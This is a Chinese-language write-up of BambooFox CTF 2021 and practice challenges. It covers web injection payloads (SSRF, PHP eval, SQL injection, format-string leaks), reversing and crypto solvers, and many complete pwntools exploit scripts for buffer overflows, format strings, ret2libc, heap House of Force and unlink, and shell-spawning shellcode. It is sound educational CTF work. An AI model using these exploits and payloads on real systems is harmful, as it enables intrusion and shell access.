BambooFox CTF Writeups

這篇包含了 BambooFox CTF 2021 的內容和 BambooFox 練習站 的內容,基本上會記錄一些比較有意義的題目而已。

BambooFox CTF 2021

Calc.exe Online

利用 php 中可以用 string 作為函數名稱去執行的性質,然後靠 base_convert decbin 等等這類的函數去湊出來就好了。

SSRFrog

http://chall.ctf.bamboofox.tw:9453/

這題最關鍵的點就是要讓 url.length !== new Set(url).size,並且讓他訪問內網的一個網站取得 Flag (SSRF)。破解的方法就是利用一些 unicode 的特殊字元去做繞過就好了,這邊可以使用此題作者製作的工具 domain-obfuscator 去找到能用的字元,可能要多試幾次才行。一個能用的 payload 為 url=htTp:/ᵗℍℯ。Ⓒ⁰ₒ₀o⓪ˡ-fl㊹4ᵍ.ₛₑⓡᵛᵉℝ.㏌teʳ㎁L

ヽ(#`Д´)ノ

http://chall.ctf.bamboofox.tw:9487/

這題很簡單,用 query string 所產生的陣列可以很簡單的繞過前兩個檢測,然後 eval(print_r($🐱,1)) 的地方就稍微把東西給閉合,然後把其他多餘的東西忽略掉就好了,例如 system("ls"))?>

完整的 url (base64):

1
aHR0cDovL2NoYWxsLmN0Zi5iYW1ib29mb3gudHc6OTQ4Ny8/JUUzJTgzJUJEKCUyMyU2MCVEMCU5NCVDMiVCNCklRUYlQkUlODklNUIlNUQ9c3lzdGVtKCUyMmNhdCUyMC9mbGFnX2RlNDI1MzdhN2RkODU0ZjRjZTI3MjM0YTEwM2Q0MzYyJTIyKSk/JTNF

Time to Draw

http://chall.ctf.bamboofox.tw:8787/ (掛了)

關鍵在於 prototype pollution,利用它 /api/draw 沒檢查參數 __proto__ 的問題去改 Object.prototype,然後之後自己構造一下 token 就能拿 flag 了。

Yet another login page

http://chall.ctf.bamboofox.tw:9527/

很容易可以找出有 SQL Injection,admin 的密碼也很容易拿: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select password,1 from users--",只是這樣並沒辦法拿到 flag。

經過測試會發現當他密碼錯誤的時候能有 python 的 format string 可以利用:

正常的: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pw" -> Hello {0} 。:.゚ヽ(*´∀``)ノ゚.:。

密碼錯誤的: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pwa" -> Wrong password for <main.User object at 0x7f9fcd537160>, login from <IP REMOVED>.

然後利用一下可以找到 app 的 routes: {0.__init__.__globals__[app].url_map},裡面可以看到有個 /hey_guys_this_is_the_flag_route map 到 get_flag 的函數,直接前往那個 path 也沒有給 flag。

後來我經過別人提醒才知道 python 的函數有 __code__ 的物件能取得 bytecode,例如 0.__init__.__globals__[get_flag].__code__,裡面有些 co_code co_consts 的東西能用,然後可以靠自己去讀 bytecode 去解 flag。

不過我很懶惰,就稍微研究了下怎麼把它弄回可讀的 python,然後就用了下面的腳本出來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
attrs = [
"co_argcount",
"co_cellvars",
"co_code",
"co_consts",
"co_filename",
"co_firstlineno",
"co_flags",
"co_freevars",
"co_kwonlyargcount",
"co_lnotab",
"co_name",
"co_names",
"co_nlocals",
"co_posonlyargcount",
"co_stacksize",
"co_varnames",
]

import requests


def get_attr(fnname: str, attr: str):
u = "' union select '{0.__init__.__globals__" + fnname + "." + attr + "}','pw';--"
resp = requests.post(
"http://chall.ctf.bamboofox.tw:9527/login",
data={
"username": u,
"password": "pwa",
},
)
a = resp.text.split("for ")[-1].split(", login")[0]
try:
return eval(a)
except:
return a


def get_path(path):
fn_code = {}
for v in attrs:
fn_code[v] = get_attr(path, v)
return fn_code


get_flag = get_path("[get_flag].__code__")
get_flag_lambda = get_path("[get_flag].__code__.co_consts[25]")


import xdis

l = xdis.codetype.Code38(**get_flag_lambda)
print(l)
get_flag["co_consts"] = (
None,
247,
254,
216,
225,
234,
243,
244,
245,
228,
232,
235,
166,
184,
"give",
"me",
"flag",
0,
3,
1,
-3,
2,
"\x87",
"flag{",
"",
l,
"get_flag.<locals>.<lambda>",
"}",
"NO FLAG FOR YOU",
)
f = xdis.codetype.Code38(**get_flag)
print(f)

import uncompyle6

print(uncompyle6.code_deparse(l))
print(uncompyle6.code_deparse(f))

最後 decomile 之後也能得到這樣的結果,然後要找 flag 就是相當簡單的事了:

1
2
3
4
5
6
magic = [247, 254, 216, 225, 234, 243, 216, 244, 243, 245, 216, 228, 232, 232, 235, 166, 184]
keys = [request.args.get('give'), request.args.get('me'), request.args.get('flag')]
if keys[0] == str(magic[3]):
if keys[1] == str(magic[(-3)]):
if keys[2] == '\x87':
return 'flag{' + ''.join(map(lambda n: chr(n ^ ord(keys[2])), magic)) + '}'

Flag Checker

Verilog 的 flag checker,稍微用 python 暴力一下之後可以得到很多的解,找個比較像的就可以了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
target = [
182,
199,
159,
225,
210,
6,
246,
8,
172,
245,
6,
246,
8,
245,
199,
154,
225,
245,
182,
245,
165,
225,
245,
7,
237,
246,
7,
43,
246,
8,
248,
215,
]

def magic(inp, val):
if val == 0b00:
return ((inp >> 3) | (inp << 5)) & 0xFF
elif val == 0b01:
return ((inp << 2) | (inp >> 6)) & 0xFF
elif val == 0b10:
return (inp + 0b110111) & 0xFF
elif val == 0b11:
return inp ^ 55


def chall(x):
ox = x
x = magic(x, ox & 0b11)
x = magic(x, (ox >> 2) & 0b11)
x = magic(x, (ox >> 4) & 0b11)
x = magic(x, (ox >> 6) & 0b11)
return x


def bruteforce(target):
for c in range(256):
if chall(c) == target:
if 30 <= c <= 127 and c != ord(" "):
yield chr(c)


from itertools import product

ans = [list(bruteforce(x)) for x in target]
for x in product(*ans):
print("".join(x))

Flag Checker Revenge

這題麻煩的地方是在於它的 check 是用很多很多層的遞迴去弄的,所以直接用 angr 解決這題比較簡單:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import angr
import claripy

input_len = 43
flag_chars = [claripy.BVS("flag_%d" % i, 8) for i in range(input_len)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b"\n")])

proj = angr.Project("./flag_checker2")
st = proj.factory.full_init_state(
args=["./engine"], add_options=angr.options.unicorn, stdin=flag
)
for k in flag_chars:
st.solver.add(k < 0x7F)
st.solver.add(k > 0x20)

sm = proj.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
if b"win" in x.posix.dumps(1):
y.append(x)
valid = y[0].posix.dumps(0)
print(valid)
bt = [chr(valid[i]) for i in range(0, len(valid))]
print("".join(bt))

The Vault

WASM 的挑戰,直接在瀏覽器把 0000~9999 都試一遍也都沒用,所以用 wasm2c 把它轉換成 C,然後編譯後丟到 IDA 就能看到密碼是 p3k0 了 peko。

1
2
wasm2c main.wasm -o test.c
gcc test.c -o test.o -Wl,--unresolved-symbols=ignore-in-object-files

orz Network

可以發現說他有些 Diffie–Hellman 的質數 \(p\) 很弱,因為 \(p-1\) 非常的 smooth,所以直接把那些很弱的用 discrete log 算出來就好了,之後再用 BFS 選 419 條邊變成一個生成樹就是答案了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
import hashlib
import sys
from sage.all import factor, Zmod, discrete_log, power_mod


def proof_of_work(prefix, difficulty):
zeros = "0" * difficulty

def is_valid(digest):
bits = "".join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros

i = 0
while True:
i += 1
s = prefix + str(i)
if is_valid(hashlib.sha256(s.encode()).digest()):
return i


def solve(p, g, a, b):
fs = factor(p - 1)
mxp = max([x[0] for x in fs])
if mxp > 1000000:
# Not smooth enough
return
Z = Zmod(p)
n_a = discrete_log(Z(a), Z(g))
return int(Z(b) ** n_a)


def pr(a, b):
return (a, b) if a < b else (b, a)


p = remote("chall.ctf.bamboofox.tw", 10369)
p.recvuntil("sha256(")
prefix = p.recv(16).decode()
result = proof_of_work(prefix, 20)
p.sendlineafter(b"Answer:", str(result))
msg = p.recvline().decode().strip()
words = msg.split(" ")
n_computers = int(words[2])
n_connections = int(words[5])
print(n_computers, n_connections)
p.recvuntil(b"lines):") # Press Enter to print all connection logs (# lines):
p.sendline("") # Enter

connected = {}
for i in range(n_connections):
established = p.recvline().decode().strip()
ews = established.split(" ")
alice_id = int(ews[5][1:])
bob_id = int(ews[9][1:])
dh = p.recvline().decode().strip()
dhs = dh.split(" ")
modulus = int(dhs[4][:-1])
base = int(dhs[7][:-1])
alice_pub = int(dhs[12][:-1])
bob_pub = int(dhs[17]) # No "," at the end of Bob's public key...
sec = solve(modulus, base, alice_pub, bob_pub)
if sec != None:
connected[pr(alice_id, bob_id)] = sec

secret_keys = []
visited = [False] * (n_computers + 1)

queue = [1]
visited[1] = True
parent = {}
while len(queue) > 0:
cur = queue.pop(0)
for i in range(1, n_computers + 1):
if i == cur:
continue
k = pr(cur, i)
if k in connected and not visited[i]:
print(f"{cur} -> {i}")
visited[i] = True
parent[i] = cur
secret_keys.append(connected[k])
queue.append(i)

assert all(visited[1:])


def print_path(x):
def helper(y):
print(f" <- {y}", end="")
if y != 1:
helper(parent[y])

print(x, end="")
if x != 1:
helper(parent[x])
print()


for i in range(1, n_computers + 1):
print_path(i)

ans = " ".join(map(str, sorted(secret_keys)))
p.sendlineafter(
b"Enter a list of 419 secret keys you've stolen, separated by whitespace characters:",
ans,
)
print(p.recvall().decode())

這題我當時就只差一個小 bug 就把這題解出來了...

train

Magic

這題只是簡單的 buffer overflow 題目,不過有稍微被坑到了一下。

首先是它會對 strlen 長度的字串做隨機的 xor,不過用 \0 就能繞過了,而且 scanf 是連 \0 都會吃進去的,所以把 ret 改到 0x804860D 就能拿到 shell 了。

不過我一開始這樣做都一直失敗,後來發現說 0x804860D0D 代表的是 \r (Carriage Return),一樣會被 scanf 視為換行符號,所以需要跳到其他地方,例如 0x804860E 之類的就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

# p = process("./magic")
p = remote("bamboofox.cs.nctu.edu.tw", 10000)
sh = 0x804860D
p.sendlineafter(b"Give me your name(a-z): ", "kirito")
p.sendlineafter(
b"Give me something that you want to MAGIC: ",
b"a" * (0x44)
+ b"\x00" * 4
+ p32(sh + 1), # !!!! scanf will ignore 0d, as 0d = "\r"
)
p.interactive()

這題雖然只是簡單的題目,不過還是學到了 0D=\r 會有影響。

Monkey1

用 printf 去對 local variable 的 banana 做寫入就可以了,需要的位置可能要用 gdb 找一下。程式碼和下一題放在一起。

Monkey2

一樣的題目,不過這次要得到 shell,我的方法就是找個地方寫入 /bin/sh,然後呼叫 system 就好了,因為 system 有在 GOT 裡面能讓你用,所以直接讀出來就 ok。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# p = process("./monkey")
p = remote("bamboofox.cs.nctu.edu.tw", 11000)


def printf(s: bytes):
p.sendlineafter(b"Please enter your choice!\n", "2")
p.sendlineafter(b"I will print it out.\n", s)
return p.recvline()


def change_name(s: bytes):
p.sendlineafter(b"Please enter your choice!\n", "1")
p.sendline(s)


def write_byte(addr: int, val: int):
change_name(p64(addr))
if val > 0:
printf(b"%0" + str(val).encode() + b"d%274$hhn")
else:
printf(b"%274$hhn")


def write_int(addr: int, val: int):
while val > 0:
# print(f"write {hex(val & 0xff)} to {hex(addr)}")
write_byte(addr, val & 0xFF)
val >>= 8
addr += 1


def read_string(addr: int):
change_name(p64(addr))
result = printf(b"%274$sc8763c8763")
return result.split(b"c8763c8763")[0]


def read_dword(addr: int, deep=1):
if deep == 4:
return 0
r = int.from_bytes(read_string(addr)[:4], byteorder="little")
return r if r != 0 else ((read_dword(addr + 1, deep + 1) & 0xFFFFFF) << 8)


# FLAG 1
target_banana = 0x3132000A
banana_addr = int(printf(b"%269$p").decode().strip(), 16) + 4
write_int(banana_addr, target_banana)
p.sendlineafter(b"Please enter your choice!\n", "3")
print(p.recvline().decode())

# FLAG 2 (Shell)
elf = ELF("./monkey")
system = read_dword(elf.got["system"])
ret = banana_addr + 0x28
write_int(ret, system)
binsh = 0x804A064 # a padding in bss
write_int(binsh, int.from_bytes(b"/bin/sh\x00a", byteorder="little"))
write_int(ret + 8, binsh)
p.sendlineafter(b"Please enter your choice!\n", "5")
p.interactive()

不過這題的 FLAG 2 所寫的內容是說和 GOT 劫持有關的,我猜可能的作法是把 strlen 改成 system,然後換名字的時候直接輸入 /bin/sh 應該也是可以,不過這個就需要在一次寫入就把 address 寫進去才行,不能像我這樣分 byte 寫入。

ROP

就按照它的指示去湊一組 ROP Chain 就好了,我用的是: 1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0

orw

不能直接用 shell,只能自己寫 null free 的 shellcode 而已。雖然用 pwntools 的 shellcraft 很簡單,不過為了練習還是自己寫點 asm 好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.arch = "x86"

code = f"""
xor eax, eax
mov ax, 0x{b'ag'[::-1].hex()}
push eax
mov eax, 0x{b'f/fl'[::-1].hex()}
push eax
mov eax, 0x{b'e/ct'[::-1].hex()}
push eax
mov eax, 0x{b'/hom'[::-1].hex()}
push eax

xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 20
int 0x80

xor eax, eax
mov al, SYS_open
mov ebx, esp
xor ecx, ecx # O_RDONLY == 0
int 0x80

mov ebx, eax
mov al, SYS_read
mov ecx, esp
xor edx, edx
mov dl, 0xff
int 0x80

xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 0xff
int 0x80
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())

p = remote("bamboofox.cs.nctu.edu.tw", 11100)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())

關於 syscall table 我推薦: Linux System Call Table

BTW, 使用 shellcraft 的話非常簡單: shellcraft.cat(b'/home/ctf/flag')

orw64

除了是 x64 的這點外和上題一模一樣。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context.arch = "amd64"

code = f"""
xor rax, rax
mov rax, 0x{b'f/flag--'[::-1].hex()}
shl rax, 16
shr rax, 16
push rax
mov rax, 0x{b'/home/ct'[::-1].hex()}
push rax

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov al, 20
mov rdx, rax
mov al, SYS_write
syscall

xor rax, rax
mov rdi, rsp
xor rsi, rsi
mov al, SYS_open
syscall

mov rdi, rax
mov rsi, rsp
mov dl, 0xff
xor rax, rax # SYS_read == 0
syscall

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
mov al, SYS_write
syscall
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())

p = remote("bamboofox.cs.nctu.edu.tw", 11101)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())

ret2libc

很基本的 ret2libc,連 address 都給你了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

libc = ELF("./libc.so.6")
p = remote("bamboofox.cs.nctu.edu.tw", 11002)
# libc = ELF("/lib32/libc.so.6")
# p = gdb.debug("./ret2libc")

p.recvuntil(b'The address of "/bin/sh" is ')
binsh = int(p.recvline().strip().decode(), 16)
p.recvuntil(b'The address of function "puts" is ')
puts = int(p.recvline().strip().decode(), 16)

libc_base = puts - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]
log.info(f"system: {hex(system)}")

p.sendline(b"a" * (0x14 + 4 + 8) + p32(system) + b"a" * 4 + p32(binsh))
p.interactive()

RSA

可以發現它 public key 的 \(N\) 只有 220 bit,所以自己分解或是去查 Factor DB 都可以,我用的是後者。直接結合 RsaCtfTool 還能很方便的直接生成 private key: python RsaCtfTool.py --publickey pub.pem --private --attack factordb,然後再用 openssl rsautl -decrypt -inkey priv.pem -in aeskey.rsa.enc -out key 去得到 AES 的 key。

不過這題卡我比較久的地方是它 AES 的地方,因為直接的 openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -pass 'file:key' 並沒有效果,後來我在這個問題查到說 OpenSSL 有改過從密碼生成 key 的 hash 算法,在 1.0.2 以前用的是 md5,然後 1.1.0 之後就改用了 sha256。

所以我檢查了我的版本發現說它確實是新版的,所以就試著加上了 -md md5 就成功了: openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -md md5 -pass 'file:key'

RSA2

可以發現說它的 RSA modulus 很小(\(N\leq2^{200}\)),所以直接暴力分解就好了,最後一個 round 的 wiener attack 就使用 RsaCtfTool 裡面的實現就完成了。

還有個可能要注意的地方是 Ruby 的 public_encrypt 使用了 PKCS1 的 padding,所以在解密完成後還要記得去掉 padding 再傳回去才是正確答案。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import unpad
from sage.all import factor
import base64
import wiener # Copied and modified from RsaCtfTool

P = remote("bamboofox.cs.nctu.edu.tw", 11200)


def pkcs1_unpad(text):
if len(text) > 0 and text[0] == 2:
pos = text.find(b"\x00")
if pos > 0:
return text[pos + 1 :]
return None


for i in range(101):
print(f"Round {i}")
if i < 100:
P.recvuntil(b"Round (")
P.recvuntil(b"-----BEGIN PUBLIC KEY-----")
content = P.recvuntil(b"-----END PUBLIC KEY-----", drop=True)
pubkey = RSA.import_key(
b"-----BEGIN PUBLIC KEY-----" + content + b"-----END PUBLIC KEY-----"
)
P.recvuntil(b"secrect msg :")
ciphertext = base64.b64decode(P.recvline().strip())
if i < 100:
fs = factor(pubkey.n)
assert len(fs) == 2
p = int(fs[1][0])
q = int(fs[0][0])
d = pow(pubkey.e, -1, (p - 1) * (q - 1))
plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), d, pubkey.n))
else:
# wiener
priv = wiener.WienerAttack(pubkey.n, pubkey.e)
plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), priv.d, pubkey.n))
p = max(priv.p, priv.q)
q = min(priv.p, priv.q)
P.sendlineafter(b"msg :", pkcs1_unpad(plaintext))
P.sendlineafter(b"p (decimal) :", str(p))
P.sendlineafter(b"q (decimal) :", str(q))

print(P.recvall().decode())

AIS3 web 1

LFI,用 php://filter 把檔案讀出來就好了。

I Love C

在輸入名字的時候輸入 /bin/sh 並且把 max_len 蓋掉(用 \0 繞過長度檢測),然後之後就能 overflow 到 ret,ROP 到 puts 把 got table 上的 address leak 出來得到 libc address。

接下來就讓它再回到 main 的起點一次,然後再 overflow 一次,只是這次到 system(name) 上面就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"

elf = ELF("./lovec")
if args["REMOTE"]:
libc = ELF("./libc.so.6")
p = remote("bamboofox.cs.nctu.edu.tw", 11003)
else:
libc = ELF("/lib32/libc.so.6")
p = process("./lovec")

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
b"Cool! And why did you like it?",
b"a" * 41 + flat([elf.sym["puts"], elf.sym["main"], elf.got["puts"]]),
)
p.recvuntil(b"nice day!\n")

libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
b"Cool! And why did you like it?",
b"a" * 33 + flat([system, 0, elf.sym["name"]]),
)
p.recvuntil(b"nice day!\n")

log.info(f"shell:")
p.interactive()

I Love C++

和上一題差不多,只是要搞清楚 C++ 的函數是怎麼呼叫的,例如 std::cout << "test"; 實際上是像是 operator<<(std::cout, "test"); 的形式呼叫的,然後看一下 assembly 就能看出需要的參數是怎麼處裡的,然後一樣 leak libc 之後再讓它呼叫 system(name) 就成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"

elf = ELF("./lovecpp")
if args["REMOTE"]:
libc = ELF("./libc6-i386_2.19-0ubuntu6.15_amd64.so")
p = remote("bamboofox.cs.nctu.edu.tw", 11004)
else:
libc = ELF("/lib32/libc.so.6")
p = process("./lovecpp")

cout = elf.sym["_ZSt4cout"]
operator_ll = elf.sym["_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendlineafter(
b"Cool! And why did you like it?",
b"a" * 41 + flat([operator_ll, elf.sym["main"], cout, elf.got["atoi"]]),
)
p.recvuntil(b"nice day!\n")

libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
b"Cool! And why did you like it?",
b"a" * 33 + flat([system, 0, elf.sym["name"]]) + b"\n",
)
p.recvuntil(b"nice day!\n")

log.info(f"shell:")
p.interactive()

bamboobox1

這題是 heap 的題目,目標是把程式一開始使用 malloc 所弄出一個放 function pointers 的區塊改掉,因為它在 exit 的時候會呼叫裡面的函數,而且也有提供一個 magic 函數直接幫你讀 flag 出來。漏洞的話可以很容易的發現它在修改的時候完全不檢查長度,所以只要修改時的長度超過新增時的長度時就有 heap overflow。

libc 的檔案可以到第二題拿,版本為 2.19-0ubuntu6.13_amd64,基本上一定要 patchelf 過才能正常的在 local debug

這題要用到的是 House Of Force,方法簡單來說是先把 top chunk 的 size 改成最大值,避免它在 malloc 很大的區塊時使用 mmap,然後再利用很大的值讓 address overflow 到比較低的位置,例如前面所說的 function pointers,然後再 malloc 一塊新的區塊後會發現和前面是同個地方,所以就能直接改掉那部分的記憶體。

詳細的介紹的話推薦: house_of_force.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
# p = process("./bamboobox") # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)


def add_item(data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "2")
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)


def change_item(idx, data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "3")
p.sendlineafter(b"item:", str(idx))
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)


magic = elf.sym["magic"]
add_item(b"a" * 64) # Offset to top chunk size = 64 + 8 = 72
change_item(
0, b"a" * 72 + p64((1 << 64) - 1)
) # Overwrite top chunk size to max, so that malloc won't use mmap
add_item(b"\n", -0x70 - 0x10) # Offset from top chunk to function list
add_item(p64(0) + p64(magic)) # Newly malloced memory is function list
p.sendlineafter(b"choice:", "5")
print(p.recvall())

bamboobox2

和前面一樣的題目,但是這次需要的是得到 shell 才行。

利用 Unlink 的方法可以改掉存指針的地方所指的第一個區塊,然後使用它去讀 atoi@got 得到 libc 的位置,然後改 GOT 成 system 之後輸入 /bin/sh 就是 shell 了。

關於 Unlink 的詳細介紹我推薦: unsafe_unlink.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
libc = ELF("./libc6_2.19-0ubuntu6.13_amd64/lib/x86_64-linux-gnu/libc.so.6")
# p = process("./bamboobox") # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)


def add_item(data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "2")
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)


def change_item(idx, data, sz=None):
if sz == None:
sz = len(data)
p.sendlineafter(b"choice:", "3")
p.sendlineafter(b"item:", str(idx))
p.sendlineafter(b"name:", str(sz))
p.sendafter(b"item:", data)


def remove_item(idx):
p.sendlineafter(b"choice:", "4")
p.sendlineafter(b"item:", str(idx))


# PS: normal chunk size = malloc size + header size
box = 0x6020C8
malloc_size = 0x100
add_item(b"first chunk", malloc_size)
add_item(b"second chunk", malloc_size)
change_item(
0,
# fake freed chunk in first chunk data area
p64(0) # prev size
+ p64(malloc_size + 1) # size (prev_inuse)
+ p64(box - 3 * 8) # fd, P->fd->bk == P
+ p64(box - 2 * 8) # bk, P->bk->fd == P
+ b"a" * (malloc_size - 8 * 4)
# second chunk header
+ p64(malloc_size) # prev size
+ p64(malloc_size + 16) # size (not prev_inuse)
)
remove_item(1)
# now box[0] = box - 3 * 8 (because BK->fd = FD)
change_item(0, b"a" * 24 + p64(elf.got["atoi"]))
# now box[0] = atoi@got
p.sendlineafter(b"choice:", "1")
p.recvuntil(b"0 : ")
libc_base = int.from_bytes(p.recv(6), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
change_item(0, p64(libc_base + libc.sym["system"])) # overwrite atoi@got to system
p.sendlineafter(b"choice:", "/bin/sh")
p.interactive()

2020 Fall CSC 社課

我沒實際上參加過這個課,只是自己練習的

basic_lfi

php://filter 和 base64 把 flag.php 讀出來就可以了。

image_upload

檢查檔案副檔名的工作全部都是在前端完成的,所以把它停用掉然後上傳自己的 php shell 就好了。得到 shell 之後會發現根目錄的 flag 檔案是 root 權限的,不過可以發現有個 suid 的 binary 可以直接拿來讀檔案。

cmdi_2

有擋掉 ;, &, |, 四個符號,而且不會把顯示給 print 出來。空白的話用 ${IFS} 可以繞過,不能用 && ||; 的話可以靠 `cmd` 去執行指令,沒有顯示的話就要自己用 server 去讓他連線傳資料回來。

像我是用 curl 的上傳檔案功能把檔案傳回來就能看到 flag 了。

Shellcode

它會直接執行你的 shellcode,但是會隨機跳到距離開始的 0~255 的地方,這個可以靠塞 nop (\x90) 就能輕鬆繞過了。

Note

沒開 NX,有 Canary,所以就 leak Canary,寫入 shellcode 然後 return 到上面就好了。Stack Address 的話因為它一開始就直接給你了所以不是問題。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.arch = "amd64"

# p = process("./note")
p = remote("bamboofox.cs.nctu.edu.tw", 12030)
p.recvuntil(b"Gift ")
text_addr = int(p.recvline().decode().strip(), 16)
print(hex(text_addr))
p.sendlineafter(b"How long is your name: ", str(0x138 + 1))
p.sendlineafter(b"Please input your name: ", b"a" * 0x138)
p.recvuntil(b"aaaaa\n")
canary = int.from_bytes(b"\x00" + p.recv(7), byteorder="little")
p.sendlineafter(b"How long is your title: ", str(0x138 + 8 + 8 + 8 + 1))
p.sendlineafter(
b"Please input title: ", b"a" * 0x138 + p64(canary) + b"a" * 8 + p64(text_addr)
)
p.sendlineafter(b"Please input message: ", asm(shellcraft.sh()))
p.interactive()

oob1

利用它沒檢查 index 為負數的性質可以 leak 出 admin 的 pin,所以就能登入成功。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

# p = process("./oob1")
p = remote("bamboofox.cs.nctu.edu.tw", 12011)
p.sendlineafter(b"User ID: ", "-4")
p.sendlineafter(b"PIN: ", "1")
p.recvuntil(b"Logging to [")
admin_pin = int.from_bytes(p.recv(4), byteorder="little")
p.sendlineafter(b"User ID: ", "0")
p.sendlineafter(b"PIN: ", str(admin_pin))
p.interactive()

oob3

類似上一題,不過是要把 GOT 改掉換成它本來就有的一個呼叫 shell 的函數就可以了。

1
2
3
4
5
6
7
8
from pwn import *

# p = process("./oob3")
